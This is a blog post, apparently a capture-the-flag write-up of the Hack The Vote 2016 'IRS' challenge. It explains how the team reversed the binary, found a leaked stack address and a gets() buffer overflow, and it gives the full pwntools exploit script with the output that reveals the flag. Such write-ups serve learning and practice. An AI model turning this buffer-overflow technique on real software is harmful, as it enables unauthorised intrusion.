Hack The Vote 2016 – IRS

IRS was a 32-bit ELF which allows you to add, edit, view, and delete “tax returns”, which consist of a name, password, income, and deductable. Here is some example usage:

Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump
1
Enter the name: abcd            
Enter the password: efgh
Enter the income: 12
Enter the deductions: 34
Thank you for doing your civic duty abcd!
Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump
1 - abcd
4
Enter the name of the file to view: abcd
Enter the password: efgh
--------------------------------------------------------------------------------
| Name: abcd                                                                   |
| Income: 12                                                                   |
| Deductable: 34                                                               |
| Password: efgh                                                               |
--------------------------------------------------------------------------------
Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump
1 - abcd
3
Enter the name of the file to edit: abcd
Enter the password: efgh
Enter the new income: 34
Enter the new deductible: 12
Is this correct?
Income: 34
Deductible: 12
y/n
y
Your changes have been recorded!
Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump
1 - abcd

Jon looked at this shortly after the challenges were released on Friday night, and when running it in gdb, he found that Donald Trump’s password was the flag. We were really confused as to how this was a pwn challenge, but it turned out that the organizers made a mistake and quickly uploaded a new version of the binary which replaced the flag with “not_the_flag”. So unfortunately, this task was not quite as trivial as it originally seemed, but fortunately, we know exactly where to find the flag: in Donald Trump’s password field on the server.

We spent a lot of time trying to read the assembly and working through things in gdb, so I’ll just summarize what we did. Looking through the assembly, we can see that at the beginning of the main function, it allocates 0x6c space on the heap and directly moves Donald Trump’s name (addresses 0x08048aa6 through 0x08048ab3), password (0x08048ac0-0x08048acd), income (0x08048ad7), and deductible (0x08048ae1) into that space, at offsets 0x0, 0x32, 0x64, and 0x68. A pointer to that location on the heap is stored on the stack, in ebp-0x30.

screen-shot-2016-11-07-at-8-57-32-pm

Then it calls the function at 0x0804863b, which prints out the “Welcome to the IRS!” messages and loops through the tax returns and lists the names. Then it asks for user input, which it uses to determine what to do. If you choose 1. File a tax return, it mallocs more memory on the heap and stores your input there, much like with Donald Trump at the beginning. It also places a pointer to the location of the heap next to ebp-0x30. If you choose 2. Delete a tax return, it frees that chunk of memory and deletes the corresponding pointer. If you choose 4. View a tax return, then it reads the memory and prints out the data.* Choosing options 2, 3, or 4 all require you to provide a password, which it compares with the password in the heap using strncmp, and it only performs the action if the password matches**.

* You might have noticed that I skipped option 3. Don’t worry, it will appear soon enough.
** Actually, there was a bug where as long as a prefix of your password matched the given password, it would pass the strncmp check because it never checks whether they are the same length. We tried thinking of ways to abuse this somehow, but we couldn’t come up with anything.

Another interesting thing is that if you make four tax returns and try to add another one, it displays the following message:

The IRS is full. Please delete a record and try again
If this problem persists, contact us at this address: 0xffc81978

Well, that’s certainly suspicious! Looking at the assembly code in that area, we can see that it prints out the address of ebp-0x30, the same address I just mentioned:

screen-shot-2016-11-07-at-11-19-09-pm

Nice, so this leaks the location of the stack. At this point, we spent a lot of time trying various things and failing. We definitely couldn’t directly do anything with Donald Trump’s file because each of the operations requires a password. We tried overwriting memory on the heap, but it seemed like everywhere it read our data, it used a safe fgets (not that it would have helped us see Donald Trump’s chunk because it was located at the front). We found a bug where if you deleted a file and added it back, then it wouldn’t clear out the memory on the heap, so if you make a file with name “ab”, delete it, and make a file with name “c”, then the application would display the name of the file as “cb”. Unfortunately, this didn’t lead to anything, because the program only ever reads and prints data from the heap, so changing its memory can’t affect program execution (unless you could get malloc/free to behave in weird ways, but that also seemed impossible).

At this point, it’s 2 am on Sunday morning and we’re very sad that we can’t even do the 100pt pwn that over 150 teams have solved. I say something like “Okay, let’s summarize what each of the IRS options do again. 1 mallocs memory, 2 checks username/password and frees memory, 3…wait I never looked at the function that was called in option 3, let’s take a look at that. Clearly that’s where the vulnerability must be!” Reading through the assembly, I find a place where gets was used instead of fgets, when it asks for a y/n response to “Is this correct?”

screen-shot-2016-11-08-at-12-15-19-am

Of course, gets reads in an unlimited amount of memory, so this leads to a buffer overflow where we can overwrite anything on the stack. Earlier, in testing, I thought it was weird that it performed the edit whether I said y or n, but I never investigated it more, so this was kind of a facepalm moment. However, it was also pretty funny how my facetious “This has to be where the vulnerability is!” comment was actually correct.

Anyways, armed with this knowledge, we still failed at finishing the challenge for a while. We first tried to overwrite the ebp-0x30 pointer with a pointer to Donald Trump’s password, as opposed to his name, so that it’ll be displayed when the IRS menu is printed. This worked locally on gdb, but not on the server. This was because I forgot that ASLR also applied to the heap, which meant that although we knew the location of the heap during debugging, that wouldn’t be the same location on the server. Doh!

Finally, we realize that we can overwrite the return address pointer with whatever we want, which means that when the ret is called (at 0x0804892b in the above image), we can have it go anywhere in memory. In particular, if you choose option 4. View a tax return, it calls a function at 0x0804892c which prints the data for a given file, so that seems like a good candidate. It turns out that this function takes two arguments: the first is a pointer to ebp-0x30, and the second is the index of the file you want to read (stored in ebp-0xc):

screen-shot-2016-11-07-at-11-56-16-pm

I won’t also share a screenshot of the 0x0804892c function in question because this post is already too long, but basically, the values in ebp-0x30, ebp-0x2c, ebp-0x28, etc. are pointers to the heap where the 0th file, 1st file, 2nd file etc. are stored (specifically, where their names are stored). So this function gets the location of the file to be printed by adding 4 times the second argument to the first argument, which is ebp-0x30.

To recap, we have a buffer overflow, and we wish to overwrite the return address on the stack with 0x0804892c, and also pass in the arguments ebp-0x30 and 0, because Donald Trump’s index is 0. Luckily, we already know what ebp-0x30 is from the earlier leak, so we just need to get the offsets correct. We used gdb to do this, though I won’t go into even more detail lol. Here is the final code we used (note the 0804892c, leak, and 0 on line 50):

from pwn import *

def recv_until_input():
    while conn.can_recv(.2):
        print conn.recvline()

def file_return(name,passw,inc,ded):
    recv_until_input()
    conn.sendline('1')
    print conn.recvuntil(': ')
    conn.sendline(name)
    print conn.recvuntil(': ')
    conn.sendline(passw)
    print conn.recvuntil(': ')
    conn.sendline(inc)
    print conn.recvuntil(': ')
    conn.sendline(ded)

def file_edit(name,passw,inc,ded,yn):
    recv_until_input()
    conn.sendline('3')
    print conn.recvuntil(': ')
    conn.sendline(name)
    print conn.recvuntil(': ')
    conn.sendline(passw)
    print conn.recvuntil(': ')
    conn.sendline(inc)
    print conn.recvuntil(': ')
    conn.sendline(ded)
    print conn.recvline()
    print conn.recvline()
    print conn.recvline()
    print conn.recvline()
    conn.sendline(yn)
    print conn.recvline()

conn = remote('irs.pwn.republican',4127)

for i in range(4):
    file_return('a','a','1','1')

recv_until_input()
conn.sendline('1')
print conn.recvline()
leak_line = conn.recvline()
print leak_line
leak = int(leak_line[-10:],16)
print leak, hex(leak), p32(leak)

ex = '340000040804000000040000000000000000000000000000002c890408'.decode('hex')+p32(leak)*2+'00000000'.decode('hex')
file_edit('a','a','1','1',ex)

recv_until_input()

Running this prints the following before segfaulting:

<snip>
Enter the name of the file to edit: 
Enter the password: 
Enter the new income: 
Enter the new deductible: 
Is this correct?

Income: 1

Deductible: 1

y/n

Your changes have been recorded!

--------------------------------------------------------------------------------

| Name: Donald Trump                                                           |

| Income: 1316134911                                                           |

| Deductable: 1316134911                                                       |

| Password: flag{c4n_1_g3t_a_r3fund}                                           |

--------------------------------------------------------------------------------

Overall, it’s pretty clear that we’re still very inexperienced, but I am glad we were able to at least finish the easiest pwn challenge. Maybe we should learn how to ROP sometime. 😛

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s